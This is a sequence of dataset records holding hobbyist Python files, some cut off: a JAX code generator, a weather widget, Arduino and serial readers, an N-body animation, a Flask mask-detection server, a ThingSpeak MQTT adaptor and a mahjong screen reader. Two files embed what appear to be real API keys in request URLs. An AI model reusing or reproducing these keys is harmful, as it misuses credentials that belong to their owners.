fid.write(\"batching.primitive_batchers[\"+names[k]+\"_p] = \"+names[k]+\"_batch\\n\")\nfid.write(\"\\n\")\n\n# Jacobian vector translations\nfid.write(\"# Jacobian vector translations\\n\")\n\nfor k in range(n):\n if all([g is None for g in prims[names[k]]['derivFuncs']]):\n continue\n funcsCurr = prims[names[k]]['derivFuncs']\n funcs = \"\"\n for g in range(len(funcsCurr)):\n if not funcsCurr[g] is None:\n funcs += funcsCurr[g]+'jax,'\n funcs = funcs[:-1]\n fid.write(\"def \"+names[k]+\"_jvp(arg_vals,arg_tans,full=False,useVal=useValDefault):\\n\\tfuncs = [\"+funcs+\"]\\n\\tn = min(len(arg_vals),len(funcs))\\n\\tflat = len(arg_vals[0].shape) == 1\\n\\tif any(useVal):\\n\\t\\tdim0 = arg_vals[0].shape[0]\\n\\telse:\\n\\t\\tdim0 = self.basisClass.n\\n\\tif full:\\n\\t\\tdim1 = self.basisClass.numBasisFuncFull\\n\\telse:\\n\\t\\tdim1 = self.basisClass.numBasisFunc\\n\\tout_tans = np.zeros((dim0,dim1))\\n\\tfor k in range(n):\\n\\t\\tif not (type(arg_tans[k]) is ad.Zero):\\n\\t\\t\\tif type(arg_tans[k]) is batching.BatchTracer:\\n\\t\\t\\t\\tflag = onp.any(arg_tans[k].val != 0)\\n\\t\\t\\telse:\\n\\t\\t\\t\\tflag = onp.any(arg_tans[k] != 0)\\n\\t\\t\\tif flag:\\n\\t\\t\\t\\tif flat:\\n\\t\\t\\t\\t\\tout_tans += funcs[k](*arg_vals,full=full,useVal=useVal)*np.expand_dims(arg_tans[k],1)\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tout_tans += funcs[k](*arg_vals,full=full,useVal=useVal)*arg_tans[k]\\n\\treturn (\"+names[k]+\"jax(*arg_vals,full=full,useVal=useVal),out_tans)\\n\")\n\nfor k in range(n):\n if all([g is None for g in prims[names[k]]['derivFuncs']]):\n continue\n fid.write(\"ad.primitive_jvps[\"+names[k]+\"_p] = \"+names[k]+\"_jvp\\n\")\nfid.write(\"\\n\")\n\n# Close the file\nfid.close()\n","sub_path":"src/utils/JaxPrimitivePrinter.py","file_name":"JaxPrimitivePrinter.py","file_ext":"py","file_size_in_byte":7982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"262514587","text":"import requests\nfrom datetime import datetime\n\nfrom alfred.modules.api.a_base_widget import ABaseWidget\nfrom alfred.modules.api.view_components import AParagraph\n\nfrom .alfred_weather import AlfredWeather\n\nclass AlfredWeatherWidget(ABaseWidget):\n def callback(self):\n r = requests.get(\"http://api.openweathermap.org/data/2.5/weather?q=Cairo&units=metric&appid=7e73695b9106e411858e94e01532d30d\")\n json_data = r.json()\n\n self.forecast = {\n 'date_time': datetime.fromtimestamp(json_data['dt']).strftime(\"%a, %d\"),\n 'max_temp' : int(json_data['main']['temp_max']),\n 'min_temp' : int(json_data['main']['temp_min']),\n 'icon' : json_data['weather'][0]['icon'][0:-1],\n 'status' : json_data['weather'][0]['description']\n }\n\n def construct_view(self):\n self.title = self.forecast[\"date_time\"]\n self.content.append(AParagraph(\"Max: {}°C\".format(self.forecast[\"max_temp\"])))\n self.content.append(AParagraph(\"Min: {}°C\".format(self.forecast[\"min_temp\"])))\n self.content.append(AParagraph(self.forecast[\"status\"]))\n self.image_url = AlfredWeather.image_link_for_weather_description(self.forecast[\"icon\"])\n self.title_on_image = True","sub_path":"alfred_weather/alfred_weather_widget.py","file_name":"alfred_weather_widget.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"45837471","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 13 17:41:59 2017\n\n@author: George\n\"\"\"\nimport serial\nimport numpy as np\nimport signal\nimport sys\nimport time\nimport socket\n\nclass Arduino(): \n def __init__(self,Port='COM3',Boud=115200,connState=0): \n self.parent=self\n self.port=Port\n self.boud=Boud\n self.connState=connState\n self.timeount=1\n self.ser=None\n self.connect()\n\n def connect(self): \n try:\n self.ser=serial.Serial(self.port,self.boud,timeout=0.0001)\n self.connState=1\n print('connected')\n return [1,'connect']\n except:\n self.connState=0\n print('no hardware found')\n return [0,'no hardware found']\n\n\n def loadData(self): \n self.buffer=self.ser.read(1) \n if (self.buffer!=''):\n try:\n print (self.buffer)\n except Exception:\n pass\n\n def getSonar(self): \n a=0\n b=0\n c=0\n self.data=self.ser.read(30)\n if (self.data!=''):\n try:\n self.data = str(self.data)\n self.ser.flush()\n if \"A\" in self.data:\n a = (int(self.data.split('A')[1].split(\")\")[0]))\n if \"B\" in self.data:\n b = (int(self.data.split('B')[1].split(\")\")[0]))\n if \"C\" in self.data:\n c = (int(self.data.split('C')[1].split(\")\")[0]))\n #print(a,b,c)\n return [a,b,c]\n self.ser.flush()\n except Exception:\n print(\"no data\")\n self.ser.flush()\n\n def close(self):\n self.ser.close()\n\n#create serial connection\nard=Arduino()\n\n \ndef run_program():\n while True:\n if ard.connState:\n #data = ard.loadData()\n data = ard.getSonar() \n print(data)\n\n\n else:\n print (\"Arduino not found\")\n break\n\ndef exit_gracefully(signum, frame):\n # restore the original signal handler as otherwise evil things will happen\n # in raw_input when CTRL+C is pressed, and our signal handler is not re-entrant\n signal.signal(signal.SIGINT, original_sigint)\n\n try:\n if input(\"\\nReally quit? (y/n)> \").lower().startswith('y'):\n ard.close()\n sys.exit(1)\n\n except KeyboardInterrupt:\n print(\"Ok ok, quitting\")\n ard.close()\n sys.exit(1)\n\n # restore the exit gracefully handler here \n signal.signal(signal.SIGINT, exit_gracefully)\n\n\n \nif __name__ == '__main__':\n # store the original SIGINT handler\n original_sigint = signal.getsignal(signal.SIGINT)\n signal.signal(signal.SIGINT, exit_gracefully)\n run_program() ","sub_path":"Arduino_TCP_Server 2.py","file_name":"Arduino_TCP_Server 2.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"623990690","text":"import serial\nimport threading\n\nclass WatchSerial:\n def __init__(self, port, data_stack, control_data, baudrate=115200):\n self.__data_stack = data_stack\n self.__control_data = control_data\n self.serial_port = port\n self.__serial = serial.Serial(\n port,\n baudrate=baudrate,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=1)\n\n self.t = None\n self.thread_start()\n\n def get_serial(self):\n return self.__serial\n\n def close(self):\n self.thread_stop()\n self.get_serial().close()\n\n def thread_start(self):\n self.t = threading.Thread(target=self.read_data_thread)\n self.t.daemon = True\n self.t.start()\n\n def thread_stop(self):\n if self.__control_data['stop'] == True:\n return\n self.__control_data['stop'] = True\n self.t.join()\n\n def read_data_thread(self):\n while not self.__control_data['stop']:\n if len(self.__data_stack) > 0:\n continue\n\n self.__control_data['wait'] = True\n\n rx_data = 0\n while rx_data != b'\\x02':\n rx_data = self.__serial.read(1)\n\n self.__data_stack.append(b'\\x02')\n \n while True:\n rxdata = self.__serial.read(1)\n if rxdata == b'\\x03':\n self.__data_stack.append(b'\\x03')\n break\n self.__data_stack.append(rxdata)\n self.__control_data['wait'] = False","sub_path":"src/serial_watcher/watch_serial.py","file_name":"watch_serial.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"125906826","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nfrom scipy.special import erf\n\nN = 1000\nr = np.random.random((N,3))\np = np.zeros((N,3))\ndt = 0.001\ndef getForce(r):\n dr = r.reshape(N,1,3)-r\n q = r.reshape(N,1,3)*r\n R = np.sqrt((dr*dr).sum(2) + 0.0001)\n n = np.arange(N)\n R[n,n] = np.inf\n R = R.reshape(N,N,1)\n F = -dr/(R*R*R)\n F = np.sum(F,axis=1)\n return F\n\ndef evolve(r,p,n,dt):\n for i in range(n):\n f = getForce(r)\n r += 0.5*f*dt*dt+p*dt\n p += 0.5*(f+getForce(r))*dt\n r %= 1\n return(r,p)\n\nfig = plt.figure()\nax = plt.axes(xlim=(-0,1), ylim=(-0,1))\nline, = ax.plot([], [],'.k')\n\ndef init():\n line.set_data([], [])\n return line,\n\ndef animate(i):\n evolve(r,p,1,dt)\n x,y = r[:,0],r[:,1]\n line.set_data(x, y)\n return line,\n\nanim = animation.FuncAnimation(fig, animate, init_func=init,\n frames=200, interval=20, blit=True)\nplt.show()\n","sub_path":"directLeapfrog/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"11334745","text":"from flask import Flask, render_template, request\nfrom flask_socketio import SocketIO, emit, disconnect\nimport base64\nimport numpy as np\nimport cv2\nfrom flask_httpauth import HTTPDigestAuth\nimport os\nfrom dotenv import load_dotenv\nfrom engineio.payload import Payload\nfrom queue import Queue, Empty\nfrom custom_flask import CustomFlask\n\nPayload.max_decode_packets = 500\nload_dotenv(verbose=True)\n\nimage_queue = Queue(maxsize=50)\nprocessed_queue = Queue(maxsize=50)\n\nauth = HTTPDigestAuth()\n\ndef find_objects_yolo(yolo_model , img , colors , class_labels , img_height , img_width):\n yolo_layers = yolo_model.getLayerNames()\n yolo_output_layers = yolo_model.getUnconnectedOutLayersNames()\n blob_img = cv2.dnn.blobFromImage(img , scalefactor = 1/255 , size = (416 , 416) , swapRB = True , crop = False)\n yolo_model.setInput(blob_img)\n obj_detection_layers = yolo_model.forward(yolo_output_layers)\n class_ids_list = []\n boxes_list = []\n confidences_list = []\n for obj_det_layer in obj_detection_layers:\n for obj in obj_det_layer:\n scores = obj[5:]\n bounding_box = obj[0:4] * np.array([img_width , img_height , img_width , img_height])\n (box_centre_x_pt , box_centre_y_pt , box_width , box_height) = bounding_box.astype(\"int\")\n start_x_pt = int(box_centre_x_pt - (box_width/2))\n start_y_pt = int(box_centre_y_pt - (box_height/2))\n predicted_class_id = np.argmax(scores)\n confidence_score = float(scores[predicted_class_id])\n if confidence_score > 0.40:\n class_ids_list.append(predicted_class_id)\n confidences_list.append(confidence_score)\n boxes_list.append([start_x_pt , start_y_pt , int(box_width) , int(box_height)])\n max_value_ids = cv2.dnn.NMSBoxes(boxes_list , confidences_list , 0.5 , 0.4)\n output_img = img\n for max_value_id in max_value_ids:\n max_class_id = max_value_id[0]\n box = boxes_list[max_class_id]\n start_x_pt = box[0]\n start_y_pt = box[1]\n box_width = box[2]\n box_height = box[3]\n predicted_class_id = class_ids_list[max_class_id]\n predicted_class_label = class_labels[predicted_class_id]\n prediction_confidence = confidences_list[max_class_id]\n prediction_confidence = prediction_confidence*100\n text = predicted_class_label + \":\" + str(int(prediction_confidence)) + \"%\"\n color_box = colors[predicted_class_id]\n color_box = (int(color_box[0]), int(color_box[1]), int(color_box[2])) \n output_img = cv2.rectangle(output_img , (start_x_pt , start_y_pt) , (start_x_pt+box_width , start_y_pt+box_height) , color_box , thickness = 2)\n output_img = cv2.putText(output_img , text , (start_x_pt , start_y_pt-2) , cv2.FONT_HERSHEY_SIMPLEX , 0.6 , color = color_box , thickness = 1)\n return output_img\n\n\ndef _detect_mask(img):\n\tcfg = 'mask_yolov4.cfg'\n\tweight = 'mask_yolov4_best.weights'\n\tclass_labels = ['without_mask' , 'with_mask']\n\tcolors = [[0 , 0 , 255] , [0 , 255 , 0]]\n\tyolo_model = cv2.dnn_DetectionModel(cfg , weight)\n\tyolo_model.setPreferableBackend(cv2.dnn.DNN_BACKEND_CUDA)\n\tyolo_model.setPreferableTarget(cv2.dnn.DNN_TARGET_CUDA)\n\theight = img.shape[0]\n\twidth = img.shape[1]\n\timg = find_objects_yolo(yolo_model , img , colors , class_labels , img.shape[0] , img.shape[1])\n\treturn img\n\n\ndef _base64_decode(img):\n _, buffer = cv2.imencode(\".jpg\", img)\n base64_data = base64.b64encode(buffer)\n base64_data = \"data:image/jpg;base64,\" + base64_data.decode('utf-8')\n return base64_data\n\n\ndef _base64_encode(img_base64):\n img_binary = base64.b64decode(img_base64)\n jpg = np.frombuffer(img_binary, dtype=np.uint8)\n img = cv2.imdecode(jpg, cv2.IMREAD_COLOR)\n return img\n\n\ndef _validate_access_token():\n access_token = request.headers.environ.get('HTTP_X_ACCESS_TOKEN')\n if access_token != os.environ.get(\"ACCESS_TOKEN\"):\n disconnect()\n\n\ndef loop_emit():\n print(\"start loop\")\n while True:\n try:\n img = image_queue.get()\n except Empty:\n continue\n\n processed_img = _detect_mask(img)\n base64_data = _base64_decode(processed_img)\n processed_queue.put(base64_data)\n\n\napp = CustomFlask(__name__, background_task=loop_emit)\napp.config['SECRET_KEY'] = os.environ.get(\"APP_SECRET\")\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\n\n@auth.get_password\ndef get_pw(username):\n if username == os.environ.get(\"USER_NAME\"):\n return os.environ.get(\"PASSWORD\")\n return None\n\n\n@app.route('/health_check')\ndef health_check():\n return \"Status OK\"\n\n\n@app.route('/sender')\n@auth.login_required\ndef sender():\n return render_template(\"sender.html\", access_token=os.environ.get(\"ACCESS_TOKEN\"))\n\n\n@app.route('/receiver')\n@auth.login_required\ndef receiver():\n return render_template(\"receiver.html\", access_token=os.environ.get(\"ACCESS_TOKEN\"))\n\n\n@socketio.on('connect', namespace=\"/image\")\ndef test_connect():\n _validate_access_token()\n\n referer = request.referrer\n\n if referer is None or 'receiver' not in referer:\n image_queue.queue.clear()\n processed_queue.queue.clear()\n\n\n@socketio.on(\"send image\", namespace=\"/image\")\ndef parse_image(json):\n _validate_access_token()\n\n img_base64 = json[\"data\"].split(',')[1]\n img = _base64_encode(img_base64)\n image_queue.put(img)\n\n try:\n base64_data = processed_queue.get()\n except Empty:\n return\n else:\n emit('return img', base64_data, broadcast=True)\n\n\nif __name__ == '__main__':\n socketio.run(app, debug=False)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"263617658","text":"from MyMQTT import *\nimport json, time, os\nimport threading\nimport urllib.request\nimport requests\n\nclass mySubscriber():\n def __init__(self, clientID, topic, broker, port, threadID):\n self.client = MyMQTT(clientID, broker, port, self)\n self.topic = topic\n self.status = None\n self.threadID = threadID\n\n def start(self):\n self.client.start()\n self.client.mySubscribe(self.topic)\n\n def stop(self):\n self.client.stop()\n \n def notify(self, topic, payload):\n payload = json.loads(payload)\n new_status = payload[\"e\"][0][\"v\"]\n self.status = new_status\n pubID = payload[\"bn\"]\n timestamp = payload[\"e\"][0][\"t\"]\n print(f\"The measured value is {new_status} at {timestamp} by {pubID}\")\n\n # write data to json file\n '''if(os.path.isfile(\"temp_log.json\")):\n json_log = json.load(open(\"temp_log.json\", \"r\"))\n else:\n json_log = {\"bn\" : payload[\"bn\"],\"e\" : []}\n\n json_log[\"e\"].append(payload[\"e\"][0]) \n json.dump(json_log, open(\"temp_log.json\", \"w\"),indent=2)'''\n\n # push data to thingspeak \n self.thingspeak_post(new_status, self.threadID)\n\n ############## pushing to thingspeak ####################\"\"\n\n def thingspeak_post(self, val, threadID):\n field = threadID + 1\n URL = 'https://api.thingspeak.com/update?api_key='\n KEY = 'N673MD9IWBGMB7N2'\n HEADER = '&field{}={}'.format(field, val)\n NEW_URL = URL+KEY+HEADER\n print(NEW_URL)\n data=urllib.request.urlopen(NEW_URL)\n\n\n\nif __name__ == \"__main__\":\n\n conf = json.load(open(\"settings.json\"))\n broker = conf[\"broker\"]\n port = conf[\"port\"]\n\n # temperature\n topic_temp = conf[\"devicesList\"][0][\"bn\"]\n mySub_temp = mySubscriber(\"AlexSubs920318_client1\", topic_temp, broker, port, 0)\n\n # heart rate\n topic_hr = conf[\"devicesList\"][1][\"bn\"]\n mySub_hr = mySubscriber(\"AlexSubs920318_client2\", topic_hr, broker, port, 1)\n\n\n # weight\n topic_weight = conf[\"devicesList\"][2][\"bn\"]\n mySub_weight = mySubscriber(\"AlexSubs920318_client3\", topic_weight, broker, port, 2)\n\n mySub_temp.start()\n mySub_hr.start()\n mySub_weight.start()\n \n while (1):\n time.sleep(10)\n \n mySub_temp.stop()\n mySub_hr.stop()\n mySub_weight.stop()\n \n","sub_path":"Patient Sensors - Simulation/thingspeak_adaptor.py","file_name":"thingspeak_adaptor.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"4284084","text":"import pickle\nfrom collections import namedtuple, deque\nfrom typing import List\nfrom sklearn.ensemble import GradientBoostingRegressor\nimport os\nimport numpy as np\n\nimport events as e\nfrom .callbacks import state_to_array\n\n# This is only an example!\nTransition = namedtuple('Transition',\n ('state', 'action', 'next_state', 'reward', 'next_action'))\n\nACTIONS = ['UP', 'RIGHT', 'DOWN', 'LEFT', 'WAIT', 'BOMB']\nACTION_INDEX = {'UP': 0, 'RIGHT': 1, 'DOWN': 2, 'LEFT': 3, 'WAIT': 4, 'BOMB': 5}\n\nBASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nMODEL_PATH = os.path.join(BASE_PATH, 'custom_sarsa_pca_agent/my-saved-model_rule.pt')\n\nGAMMA = 0.95\n\nFEATURE_HISTORY_SIZE = 500 # number of features to use for training\n# train with:\n# python main.py play --agents custom_sarsa_agent --no-gui --train 1 --n-rounds 7000\n# with random_prob = 0.7 in custom_sarsa_agent/callbacks/act_rule_based\n\n\ndef setup_training(self):\n \"\"\"\n Initialise self for training purpose.\n\n This is called after `setup` in callbacks.py.\n\n Assumes that a model has already been trained in train_with_saved_states.py\n\n :param self: This object is passed to all callbacks and you can set arbitrary values.\n \"\"\"\n # transition contains the state-action-reward-next-state-next-action tuple needed\n # to calculate the targets with SARSA\n self.transition = {'state': None, \"action\": None, \"next_state\": None, \"reward\": None, \"next_action\": None}\n self.x = [deque(maxlen=FEATURE_HISTORY_SIZE) for _ in ACTIONS] # features\n self.y = [deque(maxlen=FEATURE_HISTORY_SIZE) for _ in ACTIONS] # targets\n\n\ndef game_events_occurred(self, old_game_state: dict, self_action: str, new_game_state: dict, events: List[str]):\n \"\"\"\n Called once per step to allow intermediate rewards based on game events.\n\n When this method is called, self.events will contain a list of all game\n events relevant to your agent that occurred during the previous step.\n\n Updates the transition, adds the old game state to the features, calculates the\n corresponding target with SARSA and adds it to the targets.\n\n :param self: The same object that is passed to all of your callbacks.\n :param old_game_state: The state that was passed to the last call of `act`.\n :param self_action: The action that you took.\n :param new_game_state: The state the agent is in now.\n :param events: The events that occurred when going from `old_game_state` to `new_game_state`\n \"\"\"\n self.logger.debug(f'Encountered game event(s) {\", \".join(map(repr, events))} in step {new_game_state[\"step\"]}')\n\n if old_game_state is not None and new_game_state is not None and self_action is not None:\n # transform game state into feature vector with 20 entries using kernel PCA\n old_features = self.pca_transformer.transform(state_to_array(old_game_state).reshape(1, -1))\n new_features = self.pca_transformer.transform(state_to_array(new_game_state).reshape(1, -1))\n\n if self.transition[\"state\"] is None: # first step, initialising\n self.transition[\"state\"] = old_features\n self.transition[\"action\"] = self_action\n self.transition[\"next_state\"] = new_features\n self.transition[\"reward\"] = reward_from_events(self, events)\n else:\n self.transition[\"next_action\"] = self_action\n\n index = ACTION_INDEX[self.transition[\"action\"]]\n index_next = ACTION_INDEX[self.transition[\"next_action\"]]\n x = self.transition[\"state\"]\n # SARSA\n y = self.transition[\"reward\"] + GAMMA * \\\n self.model[index_next].predict([self.transition[\"next_state\"].ravel()])[0]\n\n self.transition[\"state\"] = old_features\n self.transition[\"action\"] = self_action\n self.transition[\"next_state\"] = new_features\n self.transition[\"reward\"] = reward_from_events(self, events)\n\n self.x[index].append(x)\n self.y[index].append(y)\n\n\ndef end_of_round(self, last_game_state: dict, last_action: str, events: List[str]):\n \"\"\"\n Called at the end of each game or when the agent died to hand out final rewards.\n\n This is similar to reward_update. self.events will contain all events that\n occurred during your agent's final step.\n\n Updates the transition, adds the old game state to the features, calculates the\n corresponding target with SARSA and adds it to the targets.\n\n Fits and stores the model if enough features have been collected for each action.\n\n :param self: The same object that is passed to all of your callbacks.\n :param last_game_state: The state that was passed to the last call of `act`.\n :param last_action: The action that you took.\n :param events: The events that occurred after the last action\n \"\"\"\n self.logger.debug(f'Encountered event(s) {\", \".join(map(repr, events))} in final step')\n if last_action is not None:\n if self.transition[\"next_action\"] is None:\n x = self.transition[\"state\"]\n y = self.transition[\"reward\"]\n index = ACTION_INDEX[self.transition[\"action\"]]\n self.x[index].append(x)\n self.y[index].append(y)\n elif self.transition[\"next_action\"] is not None:\n self.transition[\"next_action\"] = last_action\n\n index = ACTION_INDEX[self.transition[\"action\"]]\n index_next = ACTION_INDEX[self.transition[\"next_action\"]]\n x1 = self.transition[\"state\"]\n # SARSA\n y1 = self.transition[\"reward\"] + GAMMA * \\\n self.model[index_next].predict([self.transition[\"next_state\"].ravel()])[0]\n x2 = self.pca_transformer.transform(state_to_array(last_game_state).reshape(1, -1))\n # x2 is a terminal state, so the expected reward is 0\n y2 = reward_from_events(self, events) + 0\n\n self.x[index].append(x1)\n self.y[index].append(y1)\n self.x[index_next].append(x2)\n self.y[index_next].append(y2)\n\n # fit and store the model if enough states have been recorded for each action\n if all([(len(x) == FEATURE_HISTORY_SIZE) for x in self.x]):\n print(\"Fitting model\")\n for i, action in enumerate(ACTIONS):\n self.model[i].fit(self.x[i], self.y[i])\n self.x[i].clear()\n self.y[i].clear()\n\n # Store the model\n with open(MODEL_PATH, \"wb\") as file:\n pickle.dump(self.model, file)\n\n\ndef reward_from_events(self, events: List[str]) -> int:\n \"\"\"\n Calculates the sum of rewards for the events that occurred in a step\n\n :param self: The same object that is passed to all of your callbacks.\n :param events: List of events that occurred in a step\n :return: int\n \"\"\"\n game_rewards = {\n e.COIN_COLLECTED: 3,\n # e.KILLED_OPPONENT: 5,\n e.INVALID_ACTION: -3,\n e.WAITED: -0.2,\n # e.GOT_KILLED: -5,\n e.KILLED_SELF: -5\n }\n reward_sum = 0\n for event in events:\n if event in game_rewards:\n reward_sum += game_rewards[event]\n self.logger.info(f\"Awarded {reward_sum} for events {', '.join(events)}\")\n return reward_sum\n","sub_path":"agent_code/custom_sarsa_pca_agent/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"283977900","text":"# -*- coding:utf-8 -*-\r\nimport Tile\r\nimport cv2\r\nimport numpy as np\r\nimport GetWindow as wnd\r\nimport pygame\r\nfrom pygame.locals import *\r\nimport sys\r\nimport datetime\r\nimport SelectFile\r\n\r\n\r\n# openCVの画像をpygameに変換\r\n# https://blanktar.jp/blog/2016/01/pygame-draw-opencv-image.html\r\ndef image2pygame(image_opencv):\r\n image_opencv = image_opencv[:, :, ::-1] # OpenCVはBGR、pygameはRGBなので変換してやる必要がある。\r\n shape = image_opencv.shape[1::-1] # OpenCVは(高さ, 幅, 色数)、pygameは(幅, 高さ)なのでこれも変換。\r\n return pygame.image.frombuffer(image_opencv.tostring(), shape, 'RGB')\r\n\r\n\r\ndef save_screen(image):\r\n name = 'img/' + datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\") + '.jpg'\r\n print(\"successfully saved\" + name)\r\n cv2.imwrite(name, image)\r\n\r\n\r\ndef draw_tiles_info(image_screen, screen, font, position, pos_x, pos_y, width, height, draw_type):\r\n tiles_info, reach, valid = Tile.TileImage.get_images_matched(image_screen, position, draw_type)\r\n\r\n # 中心位置の設定ミスがあると画面の範囲外を認識しようとするので、その場合はvalidがFalseになって返ってくる。\r\n if not valid:\r\n return\r\n\r\n if position != \"HAND\":\r\n max_x, max_y = 6, 3\r\n else:\r\n max_x, max_y = 14, 1\r\n w, h = width / max_x, height / max_y\r\n\r\n pygame.draw.rect(screen, ((0, 70, 70) if reach else (70, 150, 100)), Rect(pos_x, pos_y, width, height))\r\n\r\n for y in range(max_y):\r\n for x in range(max_x):\r\n if draw_type == \"TEXT\":\r\n text = font.render(Tile.Tile.NAME[tiles_info[y][x][0]], True, ((255, 0, 0) if reach else (255, 255, 0)))\r\n screen.blit(text, [pos_x + w * x, pos_y + h * y]) # 文字列の表示位置\r\n else:\r\n image = tiles_info[y][x][1]\r\n shape = image.shape[1::-1] # OpenCVは(高さ, 幅, 色数)、pygameは(幅, 高さ)なのでこれも変換。\r\n image = pygame.image.frombuffer(image.tostring(), shape, 'RGB')\r\n screen.blit(image, (pos_x + w * x, pos_y + h * y, image.get_size()[0], image.get_rect()[1]))\r\n\r\n\r\ndef draw_claim_info(image_screen, screen, font, position, rect, draw_type):\r\n tiles_info, valid = Tile.TileClaimed.get_tiles(image_screen, position)\r\n\r\n # 中心位置の設定ミスがあると画面の範囲外を認識しようとするので、その場合はvalidがFalseになって返ってくる。\r\n if not valid:\r\n return\r\n\r\n pygame.draw.rect(screen, (0, 80, 50), rect)\r\n\r\n max_x = min(4, len(tiles_info))\r\n for x in range(max_x):\r\n for i in range(4):\r\n if draw_type == \"TEXT\":\r\n text = font.render(Tile.Tile.NAME[tiles_info[x][i][0]], True, (255, 255, 0))\r\n screen.blit(text, [rect[0] + (max_x - x - 1) * rect[2]/4, rect[1] + i * rect[3]/4]) # 文字列の表示位置\r\n else:\r\n if draw_type == \"MATCH\":\r\n image = tiles_info[x][i][1]\r\n else:\r\n image = tiles_info[x][i][2]\r\n shape = image.shape[1::-1] # OpenCVは(高さ, 幅, 色数)、pygameは(幅, 高さ)なのでこれも変換。\r\n image = pygame.image.frombuffer(image.tostring(), shape, 'RGB')\r\n screen.blit(image, (rect[0] + (max_x - x - 1) * rect[2]/4, rect[1] + i * rect[3]/4,\r\n image.get_size()[0], image.get_rect()[1]))\r\n\r\n\r\ndef main():\r\n handle = False\r\n try:\r\n handle = wnd.get_handle('天鳳')\r\n except IndexError:\r\n print('failed to get handle')\r\n\r\n valid_center = False # 牌の認識位置の調整はできているか。メニュー画面など、中心画像がない場所ではFalse\r\n rect_center = (0, 0, 1, 1)\r\n\r\n pygame.init() # Pygameの初期化\r\n screen = pygame.display.set_mode((730, 900))\r\n pygame.display.set_caption(\"Test\")\r\n font = pygame.font.Font(\"font.ttf\", 30)\r\n\r\n draw_type = 'TEXT'\r\n draw_type_all = ('NONE', 'TEXT', 'TILE', 'MATCH') # 左右クリックで変化\r\n\r\n cnt_reset_center = 0\r\n path_image = ''\r\n image_cv = np.empty(0)\r\n\r\n while 1:\r\n screen.fill((50, 30, 0))\r\n\r\n # スクリーンキャプチャ、もしくは画像ファイルを読み込み、ゲーム画面を用意する。\r\n if handle:\r\n image_cv = wnd.get_image(handle)\r\n else:\r\n if path_image == '':\r\n path_image = SelectFile.select()\r\n if path_image == '':\r\n return # ゲーム画面無し、かつ画像選択無しなら終了する。\r\n if not len(image_cv):\r\n print('load ' + path_image)\r\n image_cv = cv2.imread(path_image)\r\n\r\n if len(image_cv):\r\n # 牌の認識位置を、中心の画像で調整する\r\n cnt_reset_center -= 1\r\n if cnt_reset_center <= 0:\r\n cnt_reset_center = 10\r\n rect_center, valid_center = Tile.TileImage.reset_center(image_cv)\r\n if not valid_center:\r\n cnt_reset_center = 0 # 中心画像がマッチしない(メニュー画面など)なら連続で中心を探す。\r\n\r\n # 画面をまず描画する\r\n image_pg = image2pygame(image_cv)\r\n screen.blit(image_pg, image_pg.get_rect())\r\n\r\n pygame.draw.rect(screen, (255, 0, 0), rect_center, 5)\r\n\r\n if valid_center and draw_type != 'NONE':\r\n draw_tiles_info(image_cv, screen, font, \"RIGT\", 350, 285, 300, 100, draw_type)\r\n draw_tiles_info(image_cv, screen, font, \"LEFT\", 50, 175, 300, 100, draw_type)\r\n draw_tiles_info(image_cv, screen, font, \"OPPO\", 180, 50, 300, 100, draw_type)\r\n draw_tiles_info(image_cv, screen, font, \"MINE\", 180, 430, 300, 100, draw_type)\r\n # draw_tiles_info(image_cv, screen, font, \"HAND\", 50, 550, 600, 60, draw_type)\r\n draw_claim_info(image_cv, screen, font, \"LEFT\", (50, 600, 200, 200), draw_type)\r\n\r\n pygame.display.update() # 画面を更新\r\n\r\n # イベント処理\r\n for event in pygame.event.get():\r\n if event.type == QUIT: # 閉じるボタンが押されたら終了\r\n pygame.quit() # Pygameの終了(画面閉じられる)\r\n sys.exit()\r\n\r\n if event.type == KEYDOWN:\r\n if event.key == K_z:\r\n image_cv = np.empty(0)\r\n path_image = ''\r\n\r\n # ホイールクリックでスクリーンショット\r\n if pygame.mouse.get_pressed()[1] and len(image_cv):\r\n save_screen(image_cv)\r\n\r\n # 左右クリックで描画タイプを切り替え。\r\n if pygame.mouse.get_pressed()[0] or pygame.mouse.get_pressed()[2]:\r\n index = draw_type_all.index(draw_type)\r\n index = index + (1 if pygame.mouse.get_pressed()[0] else -1)\r\n index = index % len(draw_type_all) # Pythonの商は負数も[0,length)に直される。\r\n draw_type = draw_type_all[index]\r\n print('now: ' + draw_type)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"9968010","text":"from pymongo.collation import Collation\nfrom pymongo import MongoClient\n\nclient = MongoClient()\nclient = MongoClient('mongodb://localhost:27017/')\ndb = client['']\n\n# Get a collection from name\ncollection = db['']\n\n# Get a collection from instance\ncollection = db.some_collection\n\n# List collection names\ncollection_names = client.list_collection_names()\n\n# Create a new collection\n# create a new collection called contacts and assign a default collation with the fr_CA locale\ncollection = db.create_collection(\n 